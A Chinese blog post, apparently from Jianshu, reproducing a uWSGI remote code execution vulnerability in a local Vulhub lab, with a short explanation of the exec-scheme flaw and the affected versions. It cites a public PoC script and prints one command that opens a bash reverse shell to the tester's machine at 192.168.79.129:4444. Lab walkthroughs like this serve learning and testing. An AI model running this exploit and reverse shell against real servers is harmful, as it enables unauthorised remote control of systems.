Vulnhub-uWSGI 远程代码执行漏洞

郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。

漏洞简述

uWSGI是一个经常被使用的应用容器,通常情况下由于WSGI是Python实现的标准,所以uWSGI经常作为Python应用容器启动。但实际上uWSGI同样也支持加载Perl/Ruby/Go等应用。uWSGI程序中默认注册了一系列schemes,其中很多都是危险协议,尤其注意到其中有exec协议,可以直接通过刚才的UWSGI_FILE变量传参,导致远程执行系统命令。

影响版本:uWSGI 1.9及以上(官方在3.0开发版中修复了这个问题,不受到影响)

准备环境

测试机IP:192.168.79.129

靶机IP:192.168.79.131

1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

uwsgi版本:2.0.17

漏洞复现

POC 引用:https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py

1. 使用NC侦听反弹端口

python exploit.py -u 192.168.79.131:8000 -c "/bin/bash -c 'bash -i >& /dev/tcp/192.168.79.129/4444 0>&1'"

2. 执行POC脚本

3.得到反弹Shell

关闭环境

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容